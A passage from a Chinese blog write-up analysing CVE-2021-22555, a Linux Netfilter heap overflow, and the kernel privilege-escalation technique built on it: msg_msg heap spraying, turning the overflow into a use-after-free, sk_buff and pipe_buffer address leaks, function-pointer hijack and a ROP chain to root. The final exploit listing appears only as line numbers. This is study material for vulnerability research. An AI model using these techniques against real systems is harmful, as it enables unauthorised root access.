/* Keep two messages in the pipe so it schedules better */
size = min_t(int, size, (sk->sk_sndbuf >> 1) - 64);
/* allow fallback to order-0 allocations */
size = min_t(int, size, SKB_MAX_HEAD(0) + UNIX_SKB_FRAGS_SZ);
data_len = max_t(int, 0, size - SKB_MAX_HEAD(0));
data_len = min_t(size_t, size, PAGE_ALIGN(data_len));
//------------------分叉一:内存申请部分
skb = sock_alloc_send_pskb(sk, size - data_len, data_len,
msg->msg_flags & MSG_DONTWAIT, &err,
get_order(UNIX_SKB_FRAGS_SZ));
//相关检查部分
if (!skb)
goto out_err;
/* Only send the fds in the first buffer */
err = unix_scm_to_skb(&scm, skb, !fds_sent);
if (err < 0) {
kfree_skb(skb);
goto out_err;
}
//.....
//----------------------分叉二:数据复制部分
skb_put(skb, size - data_len);
skb->data_len = data_len;
skb->len = size;
//这里开始进行数据复制
err = skb_copy_datagram_from_iter(skb, 0, &msg->msg_iter, size);
if (err) {
kfree_skb(skb);
goto out_err;
}
//.....
sent += size;
}
//......

return sent;
out_err:
scm_destroy(&scm);
return sent ? : err;
}
A.内存申请

先进行相关内存申请,即sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()

还是挺长的,但是最重要的还是最后的__alloc_skb函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
//v5.9 /net/core/skbuff.c
struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
int flags, int node)
{
struct kmem_cache *cache;
struct skb_shared_info *shinfo;
struct sk_buff *skb;
u8 *data;
bool pfmemalloc;

cache = (flags & SKB_ALLOC_FCLONE)
? skbuff_fclone_cache : skbuff_head_cache;

if (sk_memalloc_socks() && (flags & SKB_ALLOC_RX))
gfp_mask |= __GFP_MEMALLOC;

/* Get the HEAD */
//从专门的缓存池skbuff_fclone_cache/skbuff_head_cache中申请内存
//作为头部的管理结构
skb = kmem_cache_alloc_node(cache, gfp_mask & ~__GFP_DMA, node);
if (!skb)
goto out;
//......
//先对齐,这个和L1_CACHE_BYTES有关,64位系统即和64(0x40)对齐,32位类似,具体的还是查一下最好
size = SKB_DATA_ALIGN(size);
//size += 对齐之后的0x140
//那么size只可能是0x140+n*0x40,最低为0x180,属于kmalloc-512
size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info));

//虽然是kmalloc_reserve函数,但是最终还是kmalloc形式
//调用到`__kmalloc_node_track_caller`函数进行分配
//这个data即为我们实际的存储数据的地方,也是从kmalloc申请出的堆块
//并且是从对开的开头位置处开始存储,完成内存申请后返回unix_stream_sendmsg函数
//在`skb_copy_datagram_from_iter`函数中数据会被复制
data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);
if (!data)
goto nodata;
//...
size = SKB_WITH_OVERHEAD(ksize(data));
//....
//初始化头部的管理结构
memset(skb, 0, offsetof(struct sk_buff, tail));
/* Account for allocated memory : skb + skb->head */
skb->truesize = SKB_TRUESIZE(size);
skb->pfmemalloc = pfmemalloc;
refcount_set(&skb->users, 1);
skb->head = data;
skb->data = data;
skb_reset_tail_pointer(skb);
skb->end = skb->tail + size;
skb->mac_header = (typeof(skb->mac_header))~0U;
skb->transport_header = (typeof(skb->transport_header))~0U;
//...
out:
return skb;
nodata:
kmem_cache_free(cache, skb);
skb = NULL;
goto out;
}
内存申请总结:
  • sk_buff为数据的管理结构从专门的缓存池skbuff_fclone_cache/skbuff_head_cache中申请内存,没办法进行控制
  • skb->data为实际的数据结构
    • size0x140+n*0x40(0x40的倍数补齐)。即如果传入的数据长度为0x3f,则n为1,传入数据为0x41,则n为2。
    • 堆块申请:走kmalloc进行申请,比较常见的种类,方便堆喷。
  • 每调用wirte函数写入一次数据,都会走一遍流程,申请新的sk_buffskb->data,不同消息之间相互独立。
B.数据复制

相关内存申请完成之后,回到unix_stream_sendmsg函数,开始进行数据复制skb_copy_datagram_from_iter,即上述提到的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//v5.9 /net/core/datagram.c
int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset,
struct iov_iter *from,
int len)
{
int start = skb_headlen(skb); // skb->len - skb->data_len;
int i, copy = start - offset; // copy 是线性数据区的剩余空间大小
struct sk_buff *frag_iter;
//拷贝到申请的保存数据的堆块skb->data
if (copy > 0) {
if (copy > len)
copy = len;
if (copy_from_iter(skb->data + offset, copy, from) != copy)
goto fault;
if ((len -= copy) == 0)
return 0;
offset += copy;
}
//....
}

②释放

当从socker套接字中读取出某条信息的所有数据时,就会发生该条信息的相关内存的释放,即该条信息对应sk_buffskb->data的释放。同样的,如果该条信息没有被读取完毕,则不会发生该信息相关内存的释放。

read时进行的函数调用链:

1
read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> sock_read_iter() -> sock_recvmsg() -> sock_recvmsg_nosec() -> unix_stream_recvmsg() -> unix_stream_read_generic()

同样的在unix_stream_read_generic处开始分叉,也是分为两部分,下面截取重要部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//v5.9 /net/unix/af_unix.c
static int unix_stream_read_generic(struct unix_stream_read_state *state,
bool freezable)
{
//....
do {
//....
chunk = min_t(unsigned int, unix_skb_len(skb) - skip, size);
skb_get(skb);
//------------------分叉一:数据复制
//recv_actor函数指针是在unix_stream_recvmsg函数中定义的state函数表
//该函数指针对应unix_stream_read_actor函数,即从这开始进行数据复制
chunk = state->recv_actor(skb, skip, chunk, state);
//...
//传输数据完成之后,skb->users从2改为1,表示已经复制完数据了,方便后续判断
//消息中是否还有数据
consume_skb(skb);
if (chunk < 0) {
if (copied == 0)
copied = -EFAULT;
break;
}
copied += chunk;
size -= chunk;

/* Mark read part of skb as used */
if (!(flags & MSG_PEEK)) {
//修改skb类型转换之后对应的consumed字段,其实就是skb->cb某个位置处的数据
//#define UNIXCB(skb) (*(struct unix_skb_parms *)&((skb)->cb))
UNIXCB(skb).consumed += chunk;
//依据上面的consumed和len来判断消息中是否还剩下没有传输的数据
//有(1)则break,无(0)则进入后续的内存释放阶段
if (unix_skb_len(skb))
break;
//------------------------分叉二:内存释放
//内存释放前置工作
skb_unlink(skb, &sk->sk_receive_queue);
//进入该函数,通过对于skb->users的判断之后,进入内存释放阶段
consume_skb(skb);
//....................
} while (size);
//......................
out:
return copied ? : err;
}
A.数据复制

之后的函数调用链为

1
unix_stream_read_actor() -> skb_copy_datagram_msg() -> skb_copy_datagram_iter() -> __skb_datagram_iter()

最终进入__skb_datagram_iter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//v5.9 /net/core/datagram.c
static int __skb_datagram_iter(const struct sk_buff *skb, int offset,
struct iov_iter *to, int len, bool fault_short,
size_t (*cb)(const void *, size_t, void *,
struct iov_iter *), void *data)
{
int start = skb_headlen(skb);
int i, copy = start - offset, start_off = offset, n;
struct sk_buff *frag_iter;

/* Copy header. */
//这个header指的就是数据data,大概就是从这里开始实际的数据
if (copy > 0) {
if (copy > len)
copy = len;
n = INDIRECT_CALL_1(cb, simple_copy_to_iter,
skb->data + offset, copy, data, to);
offset += n;
if (n != copy)
goto short_copy;
if ((len -= copy) == 0)
return 0;
}
//......
/* Copy paged appendix. Hmm... why does this look so complicated? */
//linux内核维护人员都看不下去了,xs
//......
}

这里使用了感觉很复杂的机制,不是很懂。

B.内存释放

进入内存释放的函数调用链为

  • 释放skb->data部分:

    1
    consume_skb()->__kfree_skb()->skb_release_all()->skb_release_all()->skb_release_data()->skb_free_head()

    对应函数如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    //v5.9 /net/core/skbuff.c
    static void skb_free_head(struct sk_buff *skb)
    {
    //其实head和data是一样的
    unsigned char *head = skb->head;
    if (skb->head_frag) {
    if (skb_pp_recycle(skb, head))
    return;
    skb_free_frag(head);
    } else {
    kfree(head);
    }
    }

    可以看到使用的正常的kfree函数

  • 释放skb部分:

    1
    consume_skb()->__kfree_skb()->kfree_skbmem()

    相关函数如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    //v5.9 /net/core/skbuff.c
    static void kfree_skbmem(struct sk_buff *skb)
    {
    struct sk_buff_fclones *fclones;
    //克隆体相关的,没有fork之类的话一般不用太管的
    switch (skb->fclone) {
    case SKB_FCLONE_UNAVAILABLE:
    //用专门的cache(skbuff_head_cache)进行回收
    kmem_cache_free(skbuff_head_cache, skb);
    return;

    case SKB_FCLONE_ORIG:
    fclones = container_of(skb, struct sk_buff_fclones, skb1);

    /* We usually free the clone (TX completion) before original skb
    * This test would have no chance to be true for the clone,
    * while here, branch prediction will be good.
    */
    if (refcount_read(&fclones->fclone_ref) == 1)
    goto fastpath;
    break;

    default: /* SKB_FCLONE_CLONE */
    fclones = container_of(skb, struct sk_buff_fclones, skb2);
    break;
    }
    if (!refcount_dec_and_test(&fclones->fclone_ref))
    return;
    fastpath:
    //用专门的cache(skbuff_fclone_cache)进行回收克隆的skb
    kmem_cache_free(skbuff_fclone_cache, fclones);
    }

    这个就不太好利用了。

    同样的,当关闭的信道的两端,该信道内产生的所有的sk_buffskb->data都会得到释放

内存释放总结:
  • 当从信道中将某条消息全部读取完之后,会发生该条消息对应的sk_buffskb->data的内存释放,且sk_buff释放到专门的缓存池中,skb->data使用正常的kfree释放

  • 当关闭信道两端,该信道内产生的所有的sk_buffskb->data都会得到释放,具体的调用链为:

    1
    sock_close()->__sock_release()->unix_release()->__kfree_skb()

    后面就类似了。

一、漏洞分析

前言

由于我编译环境的时候老是出问题(后面才解决的),所以直接拿bsauce师傅提供的环境来用了,但是又没有带DEBUG的vmlinux,所以我使用vmlinux-to-elf简单获取下符号就开始逆向了(xs),所以下面漏洞分析提到的地址为bsauce师傅环境的地址。

CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)

相关的Netfilter分析就不做了,也不太会,可以看看bsauce师傅的,这里主要关注数据的传输过程的一些东西。

通过Netfiltersetsockopt系统调用,传入用户数据&data,可依据该&data中的相关数据进行不同大小的堆块申请。完成申请后,还会对该堆块进行一定的处理,其中就有向堆块末尾填充数据的操作。

1
memset(t->data + target->targetsize, 0, pad);

其中t->data+target->targetsize即为申请的堆块上末尾处的某个地址,pad为如下定义

1
pad = XT_ALIGN(target->targetsize) - target->targetsize;

其实pad的值即为8 - (target->targetsize mod 8),就是所谓的8字节对齐。

并且t->data的地址偏移和target->targetsize的值都可被我们直接或间接地控制,那么就可以存在堆块溢出写0的操作了,这里最多溢出4个字节填充为0。

下面是具体的关键函数调用链和相关分析

1.nf_setsockopt()

句柄定义

1
2
3
4
5
6
//v5.11.14 net/ipv4/netfilter/ip_tables.c
static struct nf_sockopt_ops ipt_sockopts = {
....
.get = do_ipt_get_ctl,
....
};

这样到调用setsockopt系统调用时,就会调用到do_ipt_get_ctl函数。

2.do_ipt_set_ctl()

  • 参数:

    1
    (struct sock *sk, int cmd, sockptr_t arg, unsigned int len)

    调试如下image-20220501113945278

    这个&data即为用户传入的,赋值给sockptr_t arg,从而依据sockptr_t arg来进行堆块申请和相关的漏洞填充操作。

  • 地址:0xffffffff81b0bd20

  • 介绍:该函数由nf_sockopt_ops ipt_sockopts进行句柄定义

    1
    2
    3
    4
    5
    static struct nf_sockopt_ops ipt_sockopts = {
    ....
    .get = do_ipt_get_ctl,
    ....
    };

    即系统调用setsockopt实际调用到与漏洞方面有关的最早的函数,传入的sockptr_targ即为用户参数&data,后续会调用到compat_do_replace,传入sockptr_t arg

3.compat_do_replace()

通过_copy_from_user复制&data0x5c字节给tmp

  • 参数:

    1
    (struct net *net, sockptr_t arg, unsigned int len)
  • 地址:0xffffffff81b0baf0

  • 介绍:

    • 主要关注变量:

      1
      2
      3
      4
      5
      6
      //传入的
      sockptr_t arg;

      //自定义的
      struct compat_ipt_replace tmp;//保存size
      struct xt_table_info *newinfo;

    调用translate_compat_table(),传入本函数定义的tmp作为compatr,该变量tmp由函数copy_from_sockptr(&tmp, arg, sizeof(tmp))进行赋值

    • 相关函数链:copy_from_sockptr->copy_from_sockptr->copy_from_sockptr_offset->copy_from_user
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    //v5.11.14 /include/linux/sockptr.h

    static inline int copy_from_sockptr_offset(void *dst, sockptr_t src,
    size_t offset, size_t size)
    {
    if (!sockptr_is_kernel(src))
    return copy_from_user(dst, src.user + offset, size);
    memcpy(dst, src.kernel + offset, size);
    return 0;
    }

    这里的dst即为tmpsrc即为arg,也就是会依据arg(&data)的内容来给tmp赋值。即最后的compatr的来源为上述提到的sockptr_t arg,也就是用户传入的参数&data

    &data中复制0x5c(sizeof(struct compat_ipt_replace))大小的给到tmp(compatr),如下代码所示

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    //v5.11.14 /net/ipv4/netfilter/ip_tables.c
    static int
    compat_do_replace(struct net *net, sockptr_t arg, unsigned int len)
    {
    //.....
    if (copy_from_sockptr(&tmp, arg, sizeof(tmp)) != 0)
    return -EFAULT;
    ///....
    //这里的tmp.size即为0xfb6,传入的data.replace.size,也是申请了堆块的。
    //不过这个堆块不用太过关注,但是这个不能随便设置,不然会在如下检查出错误
    //然后跳转out_unlock从而无法进入漏洞点
    /*
    //translate_compat_table函数中
    //Walk through entries, checking offsets.
    xt_entry_foreach(iter0, entry0, compatr->size) {
    ret = check_compat_entry_size_and_hooks(iter0, info, &size,
    entry0,
    entry0 + compatr->size);
    if (ret != 0)
    goto out_unlock;
    ++j;
    }

    */
    //需要注意的是这个newinfo和下面函数中的newinfo不是同一个
    newinfo = xt_alloc_table_info(tmp.size);
    //......
    ret = translate_compat_table(net, &newinfo, &loc_cpu_entry, &tmp);
    //.....
    }

    复制的这些数据中就包含定义好的size,用来完成之后的堆块申请。

4.translate_compat_table()

  • 参数:

    1
    (struct net *net,struct xt_table_info **pinfo,void **pentry0,const struct compat_ipt_replace *compatr)
  • 地址:0xffffffff81b0b3e0

  • 介绍:

    • 主要关注变量:

      1
      2
      3
      4
      5
      6
      7
      8
      //传入的
      const struct compat_ipt_replace *compatr;

      //自定义的
      unsigned int size;
      struct xt_table_info *newinfo;
      void *pos, *entry1;
      struct compat_ipt_entry *iter0;
    • sizesize = compatr->size;

    • newinfo:依据size即上述的compatr->size申请堆块,漏洞点就出在这个申请的堆块上面。

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      translate_compat_table(struct net *net,
      struct xt_table_info **pinfo,
      void **pentry0,
      const struct compat_ipt_replace *compatr)
      {
      //.....
      size = compatr->size;
      //....
      //这个堆块就是漏洞堆块了。
      newinfo = xt_alloc_table_info(size);
      //.....
      }

      通过xt_alloc_table_info来申请堆块,其中有如下代码

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      //v5.11.14 /net/netfilter/x_tables.c
      struct xt_table_info *xt_alloc_table_info(unsigned int size)
      {
      struct xt_table_info *info = NULL;
      size_t sz = sizeof(*info) + size;//加上0x40大小

      if (sz < sizeof(*info) || sz >= XT_MAX_TABLE_SIZE)
      return NULL;
      //实际申请的堆块大小为0xffe,即kmalloc-4096,这个堆块就是漏洞堆块了。
      //结构为struct xt_table_info
      info = kvmalloc(sz, GFP_KERNEL_ACCOUNT);
      if (!info)
      return NULL;

      memset(info, 0, sizeof(*info));
      info->size = size;
      return info;
      }

      可以看到使用kvmalloc,申请标志为GFP_KERNEL_ACCOUNT,并且XT_MAX_TABLE_SIZE定义如下,也就是在kmalloc-512到kmalloc-8192

      1
      #define XT_MAX_TABLE_SIZE	(512 * 1024 * 1024)
    • pos/entry1

      1
      2
      entry1 = newinfo->entries;
      pos = entry1;

      pos/entry1的值为newinfo_addr+0x40(0x4*3+0x14+0x14+0x4+0x8)

    • 调用如下函数进行下一步:

      1
      2
      compat_copy_entry_from_user(iter0, &pos, &size,
      newinfo, entry1);

5.compat_copy_entry_from_user()

  • 参数:

    1
    2
    3
    (struct compat_ipt_entry *e, void **dstptr,
    unsigned int *size,
    struct xt_table_info *newinfo, unsigned char *base)
  • 地址:不太清楚

  • 介绍:

    • 主要关注变量:

      1
      2
      3
      4
      5
      6
      //传入的
      //即保存pos的栈地址,值为newinfo->entries(newinfo_addr+0x40)
      void **dstptr;
      unsigned int *size;
      struct xt_table_info *newinfo;

    • 相关操作:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      compat_copy_entry_from_user(struct compat_ipt_entry *e, void **dstptr,
      unsigned int *size,
      struct xt_table_info *newinfo, unsigned char *base)
      {
      //....
      //即pos加上0x70,值为newinfo_addr+0x40+0x70
      *dstptr += sizeof(struct ipt_entry);
      *size += sizeof(struct ipt_entry) - sizeof(struct compat_ipt_entry);
      xt_ematch_foreach(ematch, e)
      xt_compat_match_from_user(ematch, dstptr, size);
      //.....
      xt_compat_target_from_user(t, dstptr, size);
      //.....
      }

6.xt_compat_match_from_user()

这个函数和接下来的漏洞函数xt_compat_target_from_user可以说基本一致,观察下图即可看到,具体用来干什么不太清楚,但是作用也是相关的pad填充newinfo上的数据。打了一个循环xt_ematch_foreach,在我们关注的这个漏洞里,其作用就只是使得*dstptr + n * msize,也就是在我们关心的最终值为newinfo_addr+0x40+0x70+n * msize,从而使得在进入xt_compat_target_from_user之前,*dstptr上的堆块地址已经移动到末尾了。

image-20220507214923917 image-20220507214947982

做了一个数据对比:

1
2
3
4
5
6
7
8
9
newinfo:				0xffff888006a2a000
t: 0xffff888006a2afda
t->data: 0xffff888006a2affa
target->targetsize: 0x4
dstptr:
xt_compat_match_from_user的时候:
0xffffc900002b7ad0->0xffff888006a2a0b0
xt_compat_target_from_user的时候:
0xffffc900002b7ad0->0xffff888006a2afda

也就是说经过xt_compat_match_from_user函数之后,保存在*dstptr上的漏洞堆的地址已经加上了0xf2a

6.xt_compat_target_from_user()

终于来到最后的漏洞函数

  • 参数:

    1
    2
    (struct xt_entry_target *t, void **dstptr,
    unsigned int *size)
  • 地址:0xFFFFFFFF81A82F75

  • 介绍:

    • 主要关注变量

      1
      2
      3
      4
      5
      6
      7
      8
      //传入的
      struct xt_entry_target *t;
      void **dstptr;
      unsigned int *size;

      //自定义的
      const struct xt_target *target = t->u.kernel.target;
      int pad, off = xt_compat_target_offset(target);
    • 相关操作:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
      unsigned int *size)
      {
      const struct xt_target *target = t->u.kernel.target;
      int pad, off = xt_compat_target_offset(target);
      //.....
      //即获取指针为newinfo+0x40+0x70+0xf2a
      t = *dstptr;
      //.....
      //进行8字节对齐
      pad = XT_ALIGN(target->targetsize) - target->targetsize;
      if (pad > 0)
      //target->targetsize为4,则最终传入的地址为
      //newinfo+0x40+0x70+0xf2a+0x20+0x4=newinfo+0xffe
      //同时pad在经过对齐之后也为4,那么就溢出2个字节
      memset(t->data + target->targetsize, 0, pad);
      //.....

      }

总结

通过上述分析可以看到,其实该漏洞的成因就是

(1)控制堆块大小和偏移

通过控制传入的&data中的pad的大小来控制申请的堆块的大小和t->data的相对偏移地址

1
2
3
4
5
6
7
struct __attribute__((__packed__)) {
struct ipt_replace replace; // 0x60
struct ipt_entry entry; // 0x70
struct xt_entry_match match; // 0x20
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
struct xt_entry_target target; // 0x20
} data = {0};

例子:

比如bsauce师傅提供的EXP中的pad如下,这里使用的是kmalloc-4096

1
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2]; 

那么我们尝试使用kmalloc-2048,在代码中减去0x800得到如下:

1
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2 - 0x800];

断点打在xt_alloc_table_info,在第二次的xt_alloc_table_info申请漏洞堆块处,查看下CPU0的kmalloc-2048freelist中的堆块。

image-20220508200120767

然后finish当前函数,查看rax申请到的堆块,即为freelist中的第一个堆块

image-20220508200155851

可以看到是从CP0的kmalloc-2048中申请得到的,之后在call memset的漏洞点打下断点,按c继续运行,断下来

image-20220508200407354

可以看到仍然还是该漏洞堆块,并且相关的地址也类似的,pad为0x4,所以还是存在漏洞点的。

不过具体的细节有点不太清楚,后续还得补一补Netfilter的相关知识。

(2)控制填充pad

通过控制传入的data.target.u.user.revision来控制target->targetsize

1
data.target.u.user.revision = 1;

不同的version控制不同的target->targetsize

这里经过我自己的实际调试,感觉bsauce师傅说的有点小问题。漏洞点应该是出在上述的t->daii地址没有0x8对齐的时候,并且target->size也没有0x8对齐的情况下。

此外,不应该只是2字节溢出,最多应该可以到达4字节溢出,如下设置

1
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2 + 0x2]; 

这样可以溢出4个字节写0,最终效果如下:

image-20220508204003227

如果再加pad的话就会导致申请出kmalloc-8192的堆块了

二、漏洞利用

1.溢出转化UAF

这里涉及到之前提到的msg_msg结构体利用。

(1)堆喷内存布局

首先使用msgget申请多个消息队列,然后往每个消息队列发送两条消息,一条主消息0x1000,一条辅助消息0x400。这里发送消息时需要注意下,先遍历每个队列发送主消息,然后再遍历每个队列发送辅助消息。这样进行堆喷构造后,其中就会有部分的消息队列中的主消息连成一整块地址连续的内存,辅助消息也需要地址连成一整块,方便后续泄露地址,但是这里为了好看就没有连一起。比如这里申请三个消息队列,最终形成类似的如下布局

image-20220513110107919

当然这里每条0x1000的主消息中还有几个struct msg_msgseg*没有画出来

(2)漏洞溢出构造UAF

这里我们先释放例子中的第二条主消息,虽说在主消息中是由4个kmalloc(0x400)申请出来的4个堆块,但是如果都释放之后,内存的回收机制发现这四个地址连续且都被释放,那么就会归并成一页page还给Slub分配器,其实就是kmalloc-4096。(里面算法很复杂,不是很懂,后面再来理清楚。)之后再申请0x1000大小的堆块,就会优先从这里取。

image-20220513110346186

然后我们使用漏洞,调用socketopt来申请一个0x1000xt_table_info,就会占据到我们刚刚释放的0x1000大小的堆块上。(这个前面我们分析socketopt会申请两个0x1000大小的堆块,那么我们之后就是多释放几条主消息即可)这样在占据之后,发生2字节溢出写0,就可以溢出到下一个消息队列的msg_msg头部结构的struct list_head m_list.next指针,从而使得其指向其他位置,如果运气好的话,由于辅助消息也是堆喷形式,且大小为0x400,那么溢出两字节写0就可能将该next指针指向其他的辅助消息,从而造成两个消息队列中共存一个辅助消息。

image-20220513110927931

比如图中消息队列3中的主消息头部的struct list_head m_list.next即被修改(黑色为溢出2字节写0),如红色箭头所示指向了消息队列1中的辅助消息,这样消息队列1和消息队列3都指向了同一个辅助消息,构成了堆块overlap。之后我们释放消息队列1中的辅助消息,而消息队列3仍然指向该辅助消息,构成了UAF。

🔺注:在实际的利用里,需要进行堆喷布局,申请很多的消息队列,这时候就需要用MSG_COPY标志位来进行消息读取。利用此标志位读取消息但不释放堆块,然后借助发送消息时自己留下的索引标志来判断到底是哪个辅助消息被两个消息队列所包含,这样就能进行后续的利用。

2.利用UAF

(1)泄露堆地址

首先使用sk_buffdata数据块来占据该UAF堆块。前面提到sk_buff的结构头使用独有的缓冲池kache来申请,但是其data数据块还是使用kmalloc常规路线来申请释放(使用正常的发包收包即可完成申请释放),并且sizedata内容完全可控,这样我们就可以完全控制该UAF堆块。

之后伪造一个fake_msg_msg结构体,结构如下

image-20220513112451162

1
2
3
4
5
6
7
8
9
//v5.11 /include/linux/msg.h
struct msg_msg {
struct list_head m_list;//与msg_queue或者其他的msg_msg组成双向循环链表
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;//单向链表,指向该条信息后面的msg_msgseg
void *security;
/* the actual message follows immediately */
};

改大其m_ts域,就可以读取出消息队列2的辅助消息头部指针struct list_head m_list.next的值,从而泄露消息队列2的msg_msg_queuestruct list_head m_list域的地址,为一个堆地址。

之后我们修改fake_msg_msgstruct msg_msgseg *next指针,指向上述获得的消息队列2的struct list_head m_list域的地址,就能读出该struct list_head m_list域的prev指针,即为消息队列2的辅助消息的地址,减去0x400即为UAF堆块的地址

(2)泄露内核基地址

接下来利用到pipe管道,主要是其中struct pipe_inode_infostruct pipe_buffer *bufs;数组,总大小为0x280,使用kmalloc-1024,满足当前的UAF(同样使用正常的read/write即可完成申请释放)。其结构为

1
2
3
4
5
6
7
8
//v5.11.14 /include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

利用如下操作读取const struct pipe_buf_operations *ops;指针,即可泄露内核基地址

  • 利用 sk_buff 修复UAF处的辅助消息,之后从消息队列中接收该辅助消息,此时该UAF对象重回 slubkmalloc-1024freelist中,但 sk_buff 仍指向该UAF对象
  • 喷射 pipe_buffer,就会将该UAF对象申请回来,将pipe_buffer写入到该UAF对象上,之后再接收 sk_buff 数据包,即可获取pipe_buffer上的数据,得到const struct pipe_buf_operations *ops;指针,即可泄露内核基地址

image-20220513115154194

(3)劫持程序执行流

之前也提到过,当我们关闭管道pipe两端或者从管道pipe中读取出所有数据之后,会调用到pipe_buf_release()函数进行清理,其中会调用struct pipe_buffer *bufs;下的const struct pipe_buf_operations *ops;对应函数表中的release函数指针。

1
2
3
4
5
6
7
8
static inline void pipe_buf_release(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
const struct pipe_buf_operations *ops = buf->ops;

buf->ops = NULL;
ops->release(pipe, buf);
}

现在我们就可以通过sk_buff来劫持劫持ops指针函数表,修改其中的release函数指针,完成劫持程序流。并且此时的rsi即为buf为我们的UAF对象,而sk_buff又可以使得UAF对象里的数据完全可控。如果找到一个可以将rsp劫持为rsigadget,那么就可以完全操控程序流程了。

3.EXP解析

这个其实也没有什么好讲的,看懂漏洞利用过程其实也很容易写出来的,主要提一下某些比较偏的知识点,也防止忘记。

(1)绑定CPU分配

通常是用来进行堆块分配时查看堆块内存的,防止堆块申请的时候东一个西一个的,方便调试,同时也是为了提高堆喷射的稳定性

1
2
3
4
5
6
7
8
//bind the cpu0
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
return -1;
}

(2)命名空间

1
2
3
4
5
6
7
8
9
10
int setup_sandbox(void) {
if (unshare(CLONE_NEWUSER) < 0) {
perror("[-] unshare(CLONE_NEWUSER)");
return -1;
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
return -1;
}
}

EXP原作者称:当IPT_SO_SET_REPLACEIP6T_SO_SET_REPLACE在兼容模式下被调用时(需要CAP_NET_ADMIN权限)。

这个在源代码do_ipt_set_ctl()函数中有所体现

1
2
3
4
5
6
7
8
9
10
11
//v5.11.14 /net/ipv4/netfilter/ip_tables.c
static int
do_ipt_set_ctl(struct sock *sk, int cmd, sockptr_t arg, unsigned int len)
{
int ret;
//提到当兼容模式下需要CAP_NET_ADMIN权限
if (!ns_capable(sock_net(sk)->user_ns, CAP_NET_ADMIN))
return -EPERM;
//....
return ret;
}

而用户空间隔离出独立的命名空间后就能拥有CAP_NET_ADMIN权限,所以需要,其实也不是太懂这个干啥的。

其他的好像也没有什么了,就是最后的ROP链条方面的东西,由于最后触发劫持程序流的时候,rsiUAF对象地址,所以利用gadget先进行栈劫持rsp,然后使用利用commit_creds(&init_cred)获取ROOT权限,之后使用SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE绕过KPTISMEP即可。

参考:【CVE.0x07】CVE-2021-22555 漏洞复现及简要分析 - arttnba3’s blog

Linux Kernel KPTI保护绕过 - 安全客,安全资讯平台 (anquanke.com)

(3)最终EXP

主要是bsauce师傅的EXParttnba3师傅的EXP,然后改巴改巴,加了点东西,替换了一下ROP链条什么的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
